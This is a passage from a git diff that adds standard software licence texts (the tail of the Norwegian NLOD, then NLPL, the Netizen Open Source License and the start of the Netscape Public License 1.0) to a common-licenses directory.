+ * information subject to third party rights which the licensor is not authorised to license to the licensee
+ * information protected by intellectual property rights other than copyright and neighbouring rights in accordance with Chapter 5 of the Norwegian Copyright Act, such as trademarks, patents and design rights, but this does not entail an impediment to use information where the licensor’s logo has been permanently integrated into the information or to attribute the origin of the information in accordance with the article below relating to attribution.
+
+If the licensor has made available information not covered by the licence according to the above list, the licensee must cease all use of the information under the licence, and erase the information as soon as he or she becomes aware of or should have understood that the information is not covered by the licence.
+
+4. Effects of breach of the licence
+The licence is subject to the licensee’s compliance with the terms and conditions of this licence. In the event that the licensee commits a breach of this licence, this will entail that the licensee’s right to use the information will be revoked immediately without further notice. In case of such a breach, the licensee must immediately and without further notice take measures to cause the infringement to end. Because the right to use the information has been terminated, the licensee must cease all use of the information by virtue of the licence.
+
+5. Attribution
+The licensee shall attribute the licensor as specified by the licensor and include a reference to this licence. To the extent practically possible, the licensee shall provide a link to both this licence and the source of the information.
+
+If the licensor has not specified how attributions shall be made, the licensee shall normally state the following: «Contains data under the Norwegian licence for Open Government data (NLOD) distributed by [name of licensor]».
+
+If the licensor has specified that the information shall only be available under a specific version of this licence, cf. Section 10, the licensee shall also state this.
+
+If the information has been changed, the licensee must clearly indicate that changes have been made by the licensee.
+
+6. Proper use
+The licensee shall not use the information in a manner that appears misleading nor present the information in a distorted or incorrect manner.
+Neither the licensor’s nor other contributors' names or trademarks must be used to support, recommend or market the licensee or any products or services using the information.
+
+7. Disclaimer of liability
+The information is licensed «as is». The information may contain errors and omissions. The licensor provides no warranties, including relating to the content and relevance of the information.
+
+The licensor disclaims any liability for errors and defects associated with the information to the maximum extent permitted by law.
+
+The licensor shall not be liable for direct or indirect losses as a result of use of the information or in connection with copying or further distribution of the information.
+
+8. Guarantees regarding data quality and accessibility
+This licence does not prevent the licensor from issuing supplementary statements regarding expected or intended data quality and accessibility. Such statements shall be regarded as indicative in nature and not binding on the part of the licensor. The disclaimers in Section 7 also apply in full for such indicative statements. Based on separate agreement, the licensor may provide guarantees and distribute the information on terms and conditions different from those set forth in this licence.
+
+9. Licence compatibility
+If the licensee is to distribute an adapted or combined work based on information covered by this licence and some other work licensed under a licence compatible by contract, such distribution may be based on an appropriate licence compatible by contract, cf. the list below.
+
+A licence compatible by contract shall mean the following licences:
+
+ * for all information: Open Government Licence (version 1.0, 2.0 and 3.0), Creative Commons Attribution Licence (international version 4.0 and norwegian version 4.0),
+ * for those parts of the information which do not constitute databases: Creative Commons Attribution Licence (generic version 1.0, 2.0, 2.5 and unported version 3.0) and Creative Commons Navngivelse 3.0 Norge,
+ * for those parts of the information which constitute databases: Open Data Commons Attribution License (version 1.0).
+
+This provision does not prevent other licences from being compatible with this licence based on their content.
+
+10. New versions of the licence
+The licensee may choose to use the information covered by this licence under any new versions of the Norwegian licence for Open Government data (NLOD) issued by the responsible ministry (currently the Ministry of Local Government and Modernisation) when these versions are final and official, unless the licensor when making the information available under this licence specifically has stated that solely version 2.0 of this licence may be used.
+
+11. Governing law and legal venue
+This licence, including its formation, and any disputes and claims arising in connection with or relating to this licence, shall be regulated by Norwegian law. The legal venue shall be the licensor’s ordinary legal venue. The licensor may, with regard to intellectual proprietary rights, choose to pursue a claim at other competent legal venues and/or based on the laws of the country where the intellectual property rights are sought enforced.
diff --git a/meta/files/common-licenses/NLPL b/meta/files/common-licenses/NLPL
new file mode 100644
index 0000000000..79f83af89b
--- /dev/null
+++ b/meta/files/common-licenses/NLPL
@@ -0,0 +1,14 @@
+NO LIMIT PUBLIC LICENSE
+ Version 0, June 2012
+
+Gilles LAMIRAL
+La Billais
+35580 Baulon
+France
+
+NO LIMIT PUBLIC LICENSE
+
+Terms and conditions for copying, distribution, modification
+or anything else.
+
+ 0. No limit to do anything with this work and this license.
diff --git a/meta/files/common-licenses/NOSL b/meta/files/common-licenses/NOSL
new file mode 100644
index 0000000000..ff16a148c6
--- /dev/null
+++ b/meta/files/common-licenses/NOSL
@@ -0,0 +1,150 @@
+NETIZEN OPEN SOURCE LICENSE
+Version 1.0
+
+1. Definitions.
+
+ 1.0.1. "Commercial Use" means distribution or otherwise making the Covered Code available to a third party.
+
+ 1.1. "Contributor" means each entity that creates or contributes to the creation of Modifications.
+
+ 1.2. "Contributor Version" means the combination of the Original Code, prior Modifications used by a Contributor, and the Modifications made by that particular Contributor.
+
+ 1.3. "Covered Code" means the Original Code or Modifications or the combination of the Original Code and Modifications, in each case including portions thereof.
+
+ 1.4. "Electronic Distribution Mechanism" means a mechanism generally accepted in the software development community for the electronic transfer of data.
+
+ 1.5. "Executable" means Covered Code in any form other than Source Code.
+
+ 1.6. "Initial Developer" means the individual or entity identified as the Initial Developer in the Source Code notice required by Exhibit A.
+
+ 1.7. "Larger Work" means a work which combines Covered Code or portions thereof with code not governed by the terms of this License.
+
+ 1.8. "License" means this document.
+
+ 1.8.1. "Licensable" means having the right to grant, to the maximum extent possible, whether at the time of the initial grant or subsequently acquired, any and all of the rights conveyed herein.
+
+ 1.9. "Modifications" means any addition to or deletion from the substance or structure of either the Original Code or any previous Modifications. When Covered Code is released as a series of files, a Modification is:
+ A. Any addition to or deletion from the contents of a file containing Original Code or previous Modifications.
+ B. Any new file that contains any part of the Original Code or previous Modifications.
+
+ 1.10. "Original Code" means Source Code of computer software code which is described in the Source Code notice required by Exhibit A as Original Code, and which, at the time of its release under this License is not already Covered Code governed by this License.
+
+ 1.10.1. "Patent Claims" means any patent claim(s), now owned or hereafter acquired, including without limitation, method, process, and apparatus claims, in any patent Licensable by grantor.
+
+ 1.11. "Source Code" means the preferred form of the Covered Code for making modifications to it, including all modules it contains, plus any associated interface definition files, scripts used to control compilation and installation of an Executable, or source code differential comparisons against either the Original Code or another well known, available Covered Code of the Contributor's choice. The Source Code can be in a compressed or archival form, provided the appropriate decompression or de-archiving software is widely available for no charge.
+
+ 1.12. "You" (or "Your") means an individual or a legal entity exercising rights under, and complying with all of the terms of, this License or a future version of this License issued under Section 6.1. For legal entities, "You" includes any entity which controls, is controlled by, or is under common control with You. For purposes of this definition, "control" means (a) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (b) ownership of more than fifty percent (50%) of the outstanding shares or beneficial ownership of such entity.
+
+2. Source Code License.
+
+ 2.1. The Initial Developer Grant. The Initial Developer hereby grants You a world-wide, royalty-free, non-exclusive license, subject to third party intellectual property claims:
+ (a) under intellectual property rights (other than patent or trademark) Licensable by Initial Developer to use, reproduce, modify, display, perform, sublicense and distribute the Original Code (or portions thereof) with or without Modifications, and/or as part of a Larger Work; and
+ (b) under Patents Claims infringed by the making, using or selling of Original Code, to make, have made, use, practice, sell, and offer for sale, and/or otherwise dispose of the Original Code (or portions thereof).
+ (c) the licenses granted in this Section 2.1(a) and (b) are effective on the date Initial Developer first distributes Original Code under the terms of this License.
+ (d) Notwithstanding Section 2.1(b) above, no patent license is granted: 1) for code that You delete from the Original Code; 2) separate from the Original Code; or 3) for infringements caused by: i) the modification of the Original Code or ii) the combination of the Original Code with other software or devices.
+
+ 2.2. Contributor Grant.
+ Subject to third party intellectual property claims, each Contributor hereby grants You a world-wide, royalty-free, non-exclusive license
+ (a) under intellectual property rights (other than patent or trademark) Licensable by Contributor, to use, reproduce, modify, display, perform, sublicense and distribute the Modifications created by such Contributor (or portions thereof) either on an unmodified basis, with other Modifications, as Covered Code and/or as part of a Larger Work; and
+ (b) under Patent Claims infringed by the making, using, or selling of Modifications made by that Contributor either alone and/or in combination with its Contributor Version (or portions of such combination), to make, use, sell, offer for sale, have made, and/or otherwise dispose of: 1) Modifications made by that Contributor (or portions thereof); and 2) the combination of Modifications made by that Contributor with its Contributor Version (or portions of such combination).
+ (c) the licenses granted in Sections 2.2(a) and 2.2(b) are effective on the date Contributor first makes Commercial Use of the Covered Code.
+ (d) Notwithstanding Section 2.2(b) above, no patent license is granted: 1) for any code that Contributor has deleted from the Contributor Version; 2) separate from the Contributor Version; 3) for infringements caused by: i) third party modifications of Contributor Version or ii) the combination of Modifications made by that Contributor with other software (except as part of the Contributor Version) or other devices; or 4) under Patent Claims infringed by Covered Code in the absence of Modifications made by that Contributor.
+
+3. Distribution Obligations.
+
+ 3.1. Application of License. The Modifications which You create or to which You contribute are governed by the terms of this License, including without limitation Section 2.2. The Source Code version of Covered Code may be distributed only under the terms of this License or a future version of this License released under Section 6.1, and You must include a copy of this License with every copy of the Source Code You distribute. You may not offer or impose any terms on any Source Code version that alters or restricts the applicable version of this License or the recipients' rights hereunder. However, You may include an additional document offering the additional rights described in Section 3.5.
+
+ 3.2. Availability of Source Code. Any Modification which You create or to which You contribute must be made available in Source Code form under the terms of this License either on the same media as an Executable version or via an accepted Electronic Distribution Mechanism to anyone to whom you made an Executable version available; and if made available via Electronic Distribution Mechanism, must remain available for at least twelve (12) months after the date it initially became available, or at least six (6) months after a subsequent version of that particular Modification has been made available to such recipients. You are responsible for ensuring that the Source Code version remains available even if the Electronic Distribution Mechanism is maintained by a third party.
+
+ 3.3. Description of Modifications. You must cause all Covered Code to which You contribute to contain a file documenting the changes You made to create that Covered Code and the date of any change. You must include a prominent statement that the Modification is derived, directly or indirectly, from Original Code provided by the Initial Developer and including the name of the Initial Developer in (a) the Source Code, and (b) in any notice in an Executable version or related documentation in which You describe the origin or ownership of the Covered Code.
+
+ 3.4. Intellectual Property Matters
+ (a) Third Party Claims.
+ If Contributor has knowledge that a license under a third party's intellectual property rights is required to exercise the rights granted by such Contributor under Sections 2.1 or 2.2, Contributor must include a text file with the Source Code distribution titled "LEGAL" which describes the claim and the party making the claim in sufficient detail that a recipient will know whom to contact. If Contributor obtains such knowledge after the Modification is made available as described in Section 3.2, Contributor shall promptly modify the LEGAL file in all copies Contributor makes available thereafter and shall take other steps (such as notifying appropriate mailing lists or newsgroups) reasonably calculated to inform those who received the Covered Code that new knowledge has been obtained.
+ (b) Contributor APIs.
+ If Contributor's Modifications include an application programming interface and Contributor has knowledge of patent licenses which are reasonably necessary to implement that API, Contributor must also include this information in the LEGAL file.
+ (c) Representations.
+ Contributor represents that, except as disclosed pursuant to Section 3.4(a) above, Contributor believes that Contributor's Modifications are Contributor's original creation(s) and/or Contributor has sufficient rights to grant the rights conveyed by this License.
+
+ 3.5. Required Notices.
+ You must duplicate the notice in Exhibit A in each file of the Source Code. If it is not possible to put such notice in a particular Source Code file due to its structure, then You must include such notice in a location (such as a relevant directory) where a user would be likely to look for such a notice. If You created one or more Modification(s) You may add your name as a Contributor to the notice described in Exhibit A. You must also duplicate this License in any documentation for the Source Code where You describe recipients' rights or ownership rights relating to Covered Code. You may choose to offer, and to charge a fee for, warranty, support, indemnity or liability obligations to one or more recipients of Covered Code. However, You may do so only on Your own behalf, and not on behalf of the Initial Developer or any Contributor. You must make it absolutely clear than any such warranty, support, indemnity or liability obligation is offered by You alone, and You hereby agree to indemnify the Initial Developer and every Contributor for any liability incurred by the Initial Developer or such Contributor as a result of warranty, support, indemnity or liability terms You offer.
+
+ 3.6. Distribution of Executable Versions.
+ You may distribute Covered Code in Executable form only if the requirements of Section 3.1-3.5 have been met for that Covered Code, and if You include a notice stating that the Source Code version of the Covered Code is available under the terms of this License, including a description of how and where You have fulfilled the obligations of Section 3.2. The notice must be conspicuously included in any notice in an Executable version, related documentation or collateral in which You describe recipients' rights relating to the Covered Code. You may distribute the Executable version of Covered Code or ownership rights under a license of Your choice, which may contain terms different from this License, provided that You are in compliance with the terms of this License and that the license for the Executable version does not attempt to limit or alter the recipient's rights in the Source Code version from the rights set forth in this License. If You distribute the Executable version under a different license You must make it absolutely clear that any terms which differ from this License are offered by You alone, not by the Initial Developer or any Contributor. You hereby agree to indemnify the Initial Developer and every Contributor for any liability incurred by the Initial Developer or such Contributor as a result of any such terms You offer.
+
+ 3.7. Larger Works.
+ You may create a Larger Work by combining Covered Code with other code not governed by the terms of this License and distribute the Larger Work as a single LEDs product. In such a case, You must make sure the requirements of this License are fulfilled for the Covered Code.
+
+4. Inability to Comply Due to Statute or Regulation.
+
+If it is impossible for You to comply with any of the terms of this License with respect to some or all of the Covered Code due to statute, judicial order, or regulation then You must: (a) comply with the terms of this License to the maximum extent possible; and (b) describe the limitations and the code they affect. Such description must be included in the LEGAL file described in Section 3.4 and must be included with all distributions of the Source Code. Except to the extent prohibited by statute or regulation, such description must be sufficiently detailed for a recipient of ordinary skill to be able to understand it.
+
+5. Application of this License.
+
+This License applies to code to which the Initial Developer has attached the notice in Exhibit A and to related Covered Code.
+
+6. Versions of the License.
+
+ 6.1. New Versions.
+ Netizen Pty Ltd ("Netizen ") may publish revised and/or new versions of the License from time to time. Each version will be given a distinguishing version number.
+
+ 6.2. Effect of New Versions.
+ Once Covered Code has been published under a particular version of the License, You may always continue to use it under the terms of that version. You may also choose to use such Covered Code under the terms of any subsequent version of the License published by Netizen. No one other than Netizen has the right to modify the terms applicable to Covered Code created under this License.
+
+ 6.3. Derivative Works.
+ If You create or use a modified version of this License (which you may only do in order to apply it to code which is not already Covered Code governed by this License), You must (a) rename Your license so that the phrases "Netizen", "NOSL" or any confusingly similar phrase do not appear in your license (except to note that your license differs from this License) and (b) otherwise make it clear that Your version of the license contains terms which differ from the Netizen Open Source License and Xen Open Source License. (Filling in the name of the Initial Developer, Original Code or Contributor in the notice described in Exhibit A shall not of themselves be deemed to be modifications of this License.)
+
+7. DISCLAIMER OF WARRANTY.
+
+COVERED CODE IS PROVIDED UNDER THIS LICENSE ON AN "AS IS" BASIS, WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, WITHOUT LIMITATION, WARRANTIES THAT THE COVERED CODE IS FREE OF DEFECTS, MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE OR NON-INFRINGING. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE COVERED CODE IS WITH YOU. SHOULD ANY COVERED CODE PROVE DEFECTIVE IN ANY RESPECT, YOU (NOT THE INITIAL DEVELOPER OR ANY OTHER CONTRIBUTOR) ASSUME THE COST OF ANY NECESSARY SERVICING, REPAIR OR CORRECTION. THIS DISCLAIMER OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THIS LICENSE. NO USE OF ANY COVERED CODE IS AUTHORIZED HEREUNDER EXCEPT UNDER THIS DISCLAIMER.
+
+ 7.1 To the extent permitted by law and except as expressly provided to the contrary in this Agreement, all warranties whether express, implied, statutory or otherwise, relating in any way to the subject matter of this Agreement or to this Agreement generally, are excluded. Where legislation implies in this Agreement any condition or warranty and that legislation avoids or prohibits provisions in a contract excluding or modifying the application of or the exercise of or liability under such term, such term shall be deemed to be included in this Agreement. However, the liability of Supplier for any breach of such term shall be limited, at the option of Supplier, to any one or more of the following: if the breach related to goods: the replacement of the goods or the supply of equivalent goods; the repair of such goods; the payment of the cost of replacing the goods or of acquiring equivalent goods; or the payment of the cost of having the goods repaired; and if the breach relates to services the supplying of the services again; or the payment of the cost of having the services supplied again.
+
+8. TERMINATION.
+
+ 8.1. This License and the rights granted hereunder will terminate automatically if You fail to comply with terms herein and fail to cure such breach within 30 days of becoming aware of the breach. All sublicenses to the Covered Code which are properly granted shall survive any termination of this License. Provisions which, by their nature, must remain in effect beyond the termination of this License shall survive.
+
+ 8.2. If You initiate litigation by asserting a patent infringement claim (excluding declatory judgment actions) against Initial Developer or a Contributor (the Initial Developer or Contributor against whom You file such action is referred to as "Participant") alleging that:
+ (a) such Participant's Contributor Version directly or indirectly infringes any patent, then any and all rights granted by such Participant to You under Sections 2.1 and/or 2.2 of this License shall, upon 60 days notice from Participant terminate prospectively, unless if within 60 days after receipt of notice You either: (i) agree in writing to pay Participant a mutually agreeable reasonable royalty for Your past and future use of Modifications made by such Participant, or (ii) withdraw Your litigation claim with respect to the Contributor Version against such Participant. If within 60 days of notice, a reasonable royalty and payment arrangement are not mutually agreed upon in writing by the parties or the litigation claim is not withdrawn, the rights granted by Participant to You under Sections 2.1 and/or 2.2 automatically terminate at the expiration of the 60 day notice period specified above.
+ (b) any software, hardware, or device, other than such Participant's Contributor Version, directly or indirectly infringes any patent, then any rights granted to You by such Participant under Sections 2.1(b) and 2.2(b) are revoked effective as of the date You first made, used, sold, distributed, or had made, Modifications made by that Participant.
+
+ 8.3. If You assert a patent infringement claim against Participant alleging that such Participant's Contributor Version directly or indirectly infringes any patent where such claim is resolved (such as by license or settlement) prior to the initiation of patent infringement litigation, then the reasonable value of the licenses granted by such Participant under Sections 2.1 or 2.2 shall be taken into account in determining the amount or value of any payment or license.
+
+ 8.4. In the event of termination under Sections 8.1 or 8.2 above, all end user license agreements (excluding distributors and resellers) which have been validly granted by You or any distributor hereunder prior to termination shall survive termination.
+
+9. LIMITATION OF LIABILITY.
+UNDER NO CIRCUMSTANCES AND UNDER NO LEGAL THEORY, WHETHER TORT (INCLUDING NEGLIGENCE), CONTRACT, OR OTHERWISE, SHALL YOU, THE INITIAL DEVELOPER, ANY OTHER CONTRIBUTOR, OR ANY DISTRIBUTOR OF COVERED CODE, OR ANY SUPPLIER OF ANY OF SUCH PARTIES, BE LIABLE TO ANY PERSON FOR ANY INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES OF ANY CHARACTER INCLUDING, WITHOUT LIMITATION, DAMAGES FOR LOSS OF GOODWILL, WORK STOPPAGE, COMPUTER FAILURE OR MALFUNCTION, OR ANY AND ALL OTHER COMMERCIAL DAMAGES OR LOSSES, EVEN IF SUCH PARTY SHALL HAVE BEEN INFORMED OF THE POSSIBILITY OF SUCH DAMAGES. THIS LIMITATION OF LIABILITY SHALL NOT APPLY TO LIABILITY FOR DEATH OR PERSONAL INJURY RESULTING FROM SUCH PARTY'S NEGLIGENCE TO THE EXTENT APPLICABLE LAW PROHIBITS SUCH LIMITATION. SOME JURISDICTIONS DO NOT ALLOW THE EXCLUSION OR LIMITATION OF INCIDENTAL OR CONSEQUENTIAL DAMAGES, SO THIS EXCLUSION AND LIMITATION MAY NOT APPLY TO YOU.
+
+10. U.S. GOVERNMENT END USERS.
+
+The Covered Code is a "commercial item," as that term is defined in 48 C.F.R. 2.101 (Oct. 1995), consisting of "commercial computer software" and "commercial computer software documentation," as such terms are used in 48 C.F.R. 12.212 (Sept. 1995). Consistent with 48 C.F.R. 12.212 and 48 C.F.R. 227.7202-1 through 227.7202-4 (June 1995), all U.S. Government End Users acquire Covered Code with only those rights set forth herein.
+
+11. MISCELLANEOUS.
+
+This License represents the complete agreement concerning subject matter hereof. If any provision of this License is held to be unenforceable, such provision shall be reformed only to the extent necessary to make it enforceable.
+This Agreement shall be governed by and construed according to the law of the State of Victoria. The parties irrevocably submit to the exclusive jurisdiction of the Courts of Victoria and Australia and any Courts hearing appeals from such Courts. This Agreement is deemed to have been made in Victoria.
+The application of the United Nations Convention on Contracts for the International Sale of Goods is expressly excluded. Any law or regulation which provides that the language of a contract shall be construed against the drafter shall not apply to this License.
+
+12. RESPONSIBILITY FOR CLAIMS.
+
+As between Initial Developer and the Contributors, each party is responsible for claims and damages arising, directly or indirectly, out of its utilization of rights under this License and You agree to work with Initial Developer and Contributors to distribute such responsibility on an equitable basis. Nothing herein is intended or shall be deemed to constitute any admission of liability.
+
+13. MULTIPLE-LICENSED CODE.
+
+Initial Developer may designate portions of the Covered Code as "Multiple-Licensed". "Multiple-Licensed" means that the Initial Developer permits you to utilize portions of the Covered Code under Your choice of the NPL or the alternative licenses, if any, specified by the Initial Developer in the file described in Exhibit A.
+
+EXHIBIT A - Netizen Open Source License
+
+ ``The contents of this file are subject to the Netizen Open Source License Version 1.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://netizen.com.au/licenses/NOPL/
+
+ Software distributed under the License is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License for the specific language governing rights and limitations under the License.
+
+ The Original Code is ______________________________________.
+
+ The Initial Developer of the Original Code is ________________________. Portions created by ______________________ are Copyright (C) ______ _______________________. All Rights Reserved.
+
+ Contributor(s): ______________________________________.
+
+ Alternatively, the contents of this file may be used under the terms of the _____ license (the "[___] License"), in which case the provisions of [______] License are applicable instead of those above. If you wish to allow use of your version of this file only under the terms of the [____] License and not to allow others to use your version of this file under the NOSL, indicate your decision by deleting the provisions above and replace them with the notice and other provisions required by the [___] License. If you do not delete the provisions above, a recipient may use your version of this file under either the NOSL or the [___] License."
+
+ [NOTE: The text of this Exhibit A may differ slightly from the text of the notices in the Source Code files of the Original Code. You should use the text of this Exhibit A rather than the text found in the Original Code Source Code for Your Modifications.]
diff --git a/meta/files/common-licenses/NPL-1.0 b/meta/files/common-licenses/NPL-1.0
new file mode 100644
index 0000000000..7a5030e9f7
--- /dev/null
+++ b/meta/files/common-licenses/NPL-1.0
@@ -0,0 +1,102 @@
+NETSCAPE PUBLIC LICENSE Version 1.0
+
+1. Definitions.
+
+ 1.1. ``Contributor'' means each entity that creates or contributes to the creation of Modifications.
+
+ 1.2. ``Contributor Version'' means the combination of the Original Code, prior Modifications used by a Contributor, and the Modifications made by that particular Contributor.
+ 1.3. ``Covered Code'' means the Original Code or Modifications or the combination of the Original Code and Modifications, in each case including portions thereof.
+ 1.4. ``Electronic Distribution Mechanism'' means a mechanism generally accepted in the software development community for the electronic transfer of data.
+ 1.5. ``Executable'' means Covered Code in any form other than Source Code.
+ 1.6. ``Initial Developer'' means the individual or entity identified as the Initial Developer in the Source Code notice required byExhibit A.
+ 1.7. ``Larger Work'' means a work which combines Covered Code or portions thereof with code not governed by the terms of this License.
+ 1.8. ``License'' means this document.
+ 1.9. ``Modifications'' means any addition to or deletion from the substance or structure of either the Original Code or any previous Modifications. When Covered Code is released as a series of files, a Modification is:
+ A. Any addition to or deletion from the contents of a file containing Original Code or previous Modifications. B. Any new file that contains any part of the Original Code or previous Modifications.
+
+ 1.10. ``Original Code'' means Source Code of computer software code which is described in the Source Code notice required byExhibit A as Original Code, and which, at the time of its release under this License is not already Covered Code governed by this License.
+ 1.11. ``Source Code'' means the preferred form of the Covered Code for making modifications to it, including all modules it contains, plus any associated interface definition files, scripts used to control compilation and installation of an Executable, or a list of source code differential comparisons against either the Original Code or another well known, available Covered Code of the Contributor's choice. The Source Code can be in a compressed or archival form, provided the appropriate decompression or de-archiving software is widely available for no charge.
+ 1.12. ``You'' means an individual or a legal entity exercising rights under, and complying with all of the terms of, this License or a future version of this License issued under Section 6.1. For legal entities, ``You'' includes any entity which controls, is controlled by, or is under common control with You. For purposes of this definition, ``control'' means (a) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (b) ownership of fifty percent (50%) or more of the outstanding shares or beneficial ownership of such entity.
+
+2. Source Code License.
+
+ 2.1. The Initial Developer Grant. The Initial Developer hereby grants You a world-wide, royalty-free, non-exclusive license, subject to third party intellectual property claims:
+ a) to use, reproduce, modify, display, perform, sublicense and distribute the Original Code (or portions thereof) with or without Modifications, or as part of a Larger Work; and
+ (b) under patents now or hereafter owned or controlled by Initial Developer, to make, have made, use and sell (``Utilize'') the Original Code (or portions thereof), but solely to the extent that any such patent is reasonably necessary to enable You to Utilize the Original Code (or portions thereof) and not to any greater extent that may be necessary to Utilize further Modifications or combinations.
+
+ 2.2. Contributor Grant. Each Contributor hereby grants You a world-wide, royalty-free, non-exclusive license, subject to third party intellectual property claims:
+ (a) to use, reproduce, modify, display, perform, sublicense and distribute the Modifications created by such Contributor (or portions thereof) either on an unmodified basis, with other Modifications, as Covered Code or as part of a Larger Work; and
+ (b) under patents now or hereafter owned or controlled by Contributor, to Utilize the Contributor Version (or portions thereof), but solely to the extent that any such patent is reasonably necessary to enable You to Utilize the Contributor Version (or portions thereof), and not to any greater extent that may be necessary to Utilize further Modifications or combinations.
+
+3. Distribution Obligations.
+
+ 3.1. Application of License. The Modifications which You create or to which You contribute are governed by the terms of this License, including without limitation Section 2.2. The Source Code version of Covered Code may be distributed only under the terms of this License or a future version of this License released under Section 6.1, and You must include a copy of this License with every copy of the Source Code You distribute. You may not offer or impose any terms on any Source Code version that alters or restricts the applicable version of this License or the recipients' rights hereunder. However, You may include an additional document offering the additional rights described in Section 3.5.
+
+ 3.2. Availability of Source Code. Any Modification which You create or to which You contribute must be made available in Source Code form under the terms of this License either on the same media as an Executable version or via an accepted Electronic Distribution Mechanism to anyone to whom you made an Executable version available; and if made available via Electronic Distribution Mechanism, must remain available for at least twelve (12) months after the date it initially became available, or at least six (6) months after a subsequent version of that particular Modification has been made available to such recipients. You are responsible for ensuring that the Source Code version remains available even if the Electronic Distribution Mechanism is maintained by a third party.
+ 3.3. Description of Modifications. You must cause all Covered Code to which you contribute to contain a file documenting the changes You made to create that Covered Code and the date of any change. You must include a prominent statement that the Modification is derived, directly or indirectly, from Original Code provided by the Initial Developer and including the name of the Initial Developer in (a) the Source Code, and (b) in any notice in an Executable version or related documentation in which You describe the origin or ownership of the Covered Code.
+ 3.4. Intellectual Property Matters
+ (a) Third Party Claims. If You have knowledge that a party claims an intellectual property right in particular functionality or code (or its utilization under this License), you must include a text file with the source code distribution titled ``LEGAL'' which describes the claim and the party making the claim in sufficient detail that a recipient will know whom to contact. If you obtain such knowledge after You make Your Modification available as described in Section 3.2, You shall promptly modify the LEGAL file in all copies You make available thereafter and shall take other steps (such as notifying appropriate mailing lists or newsgroups) reasonably calculated to inform those who received the Covered Code that new knowledge has been obtained.
+ (b) Contributor APIs. If Your Modification is an application programming interface and You own or control patents which are reasonably necessary to implement that API, you must also include this information in the LEGAL file.
+
+ 3.5. Required Notices. You must duplicate the notice in Exhibit A in each file of the Source Code, and this License in any documentation for the Source Code, where You describe recipients' rights relating to Covered Code. If You created one or more Modification(s), You may add your name as a Contributor to the notice described in Exhibit A. If it is not possible to put such notice in a particular Source Code file due to its structure, then you must include such notice in a location (such as a relevant directory file) where a user would be likely to look for such a notice. You may choose to offer, and to charge a fee for, warranty, support, indemnity or liability obligations to one or more recipients of Covered Code. However, You may do so only on Your own behalf, and not on behalf of the Initial Developer or any Contributor. You must make it absolutely clear than any such warranty, support, indemnity or liability obligation is offered by You alone, and You hereby agree to indemnify the Initial Developer and every Contributor for any liability incurred by the Initial Developer or such Contributor as a result of warranty, support, indemnity or liability terms You offer.
+ 3.6. Distribution of Executable Versions. You may distribute Covered Code in Executable form only if the requirements of Section 3.1-3.5 have been met for that Covered Code, and if You include a notice stating that the Source Code version of the Covered Code is available under the terms of this License, including a description of how and where You have fulfilled the obligations of Section 3.2. The notice must be conspicuously included in any notice in an Executable version, related documentation or collateral in which You describe recipients' rights relating to the Covered Code. You may distribute the Executable version of Covered Code under a license of Your choice, which may contain terms different from this License, provided that You are in compliance with the terms of this License and that the license for the Executable version does not attempt to limit or alter the recipient's rights in the Source Code version from the rights set forth in this License. If You distribute the Executable version under a different license You must make it absolutely clear that any terms which differ from this License are offered by You alone, not by the Initial Developer or any Contributor. You hereby agree to indemnify the Initial Developer and every Contributor for any liability incurred by the Initial Developer or such Contributor as a result of any such terms You offer.
+ 3.7. Larger Works. You may create a Larger Work by combining Covered Code with other code not governed by the terms of this License and distribute the Larger Work as a single product. In such a case, You must make sure the requirements of this License are fulfilled for the Covered Code.
+
+4. Inability to Comply Due to Statute or Regulation.
+If it is impossible for You to comply with any of the terms of this License with respect to some or all of the Covered Code due to statute or regulation then You must: (a) comply with the terms of this License to the maximum extent possible; and (b) describe the limitations and the code they affect. Such description must be included in the LEGAL file described in Section 3.4 and must be included with all distributions of the Source Code. Except to the extent prohibited by statute or regulation, such description must be sufficiently detailed for a recipient of ordinary skill to be able to understand it.
+
+5. Application of this License.
+This License applies to code to which the Initial Developer has attached the notice in Exhibit A, and to related Covered Code.
+
+6. Versions of the License.
+ 6.1. New Versions. Netscape Communications Corporation (``Netscape'') may publish revised and/or new versions of the License from time to time. Each version will be given a distinguishing version number.
+
+ 6.2. Effect of New Versions. Once Covered Code has been published under a particular version of the License, You may always continue to use it under the terms of that version. You may also choose to use such Covered Code under the terms of any subsequent version of the License published by Netscape. No one other than Netscape has the right to modify the terms applicable to Covered Code created under this License.
+ 6.3. Derivative Works. If you create or use a modified version of this License (which you may only do in order to apply it to code which is not already Covered Code governed by this License), you must (a) rename Your license so that the phrases ``Mozilla'', ``MOZILLAPL'', ``MOZPL'', ``Netscape'', ``NPL'' or any confusingly similar phrase do not appear anywhere in your license and (b) otherwise make it clear that your version of the license contains terms which differ from the Mozilla Public License and Netscape Public License. (Filling in the name of the Initial Developer, Original Code or Contributor in the notice described in Exhibit A shall not of themselves be deemed to be modifications of this License.)
+
+7. DISCLAIMER OF WARRANTY.
+
+COVERED CODE IS PROVIDED UNDER THIS LICENSE ON AN ``AS IS'' BASIS, WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, WITHOUT LIMITATION, WARRANTIES THAT THE COVERED CODE IS FREE OF DEFECTS, MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE OR NON-INFRINGING. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE COVERED CODE IS WITH YOU. SHOULD ANY COVERED CODE PROVE DEFECTIVE IN ANY RESPECT, YOU (NOT THE INITIAL DEVELOPER OR ANY OTHER CONTRIBUTOR) ASSUME THE COST OF ANY NECESSARY SERVICING, REPAIR OR CORRECTION. THIS DISCLAIMER OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THIS LICENSE. NO USE OF ANY COVERED CODE IS AUTHORIZED HEREUNDER EXCEPT UNDER THIS DISCLAIMER.
+
+8. TERMINATION.
+
+This License and the rights granted hereunder will terminate automatically if You fail to comply with terms herein and fail to cure such breach within 30 days of becoming aware of the breach. All sublicenses to the Covered Code which are properly granted shall survive any termination of this License. Provisions which, by their nature, must remain in effect beyond the termination of this License shall survive.
+
+9. LIMITATION OF LIABILITY.
+
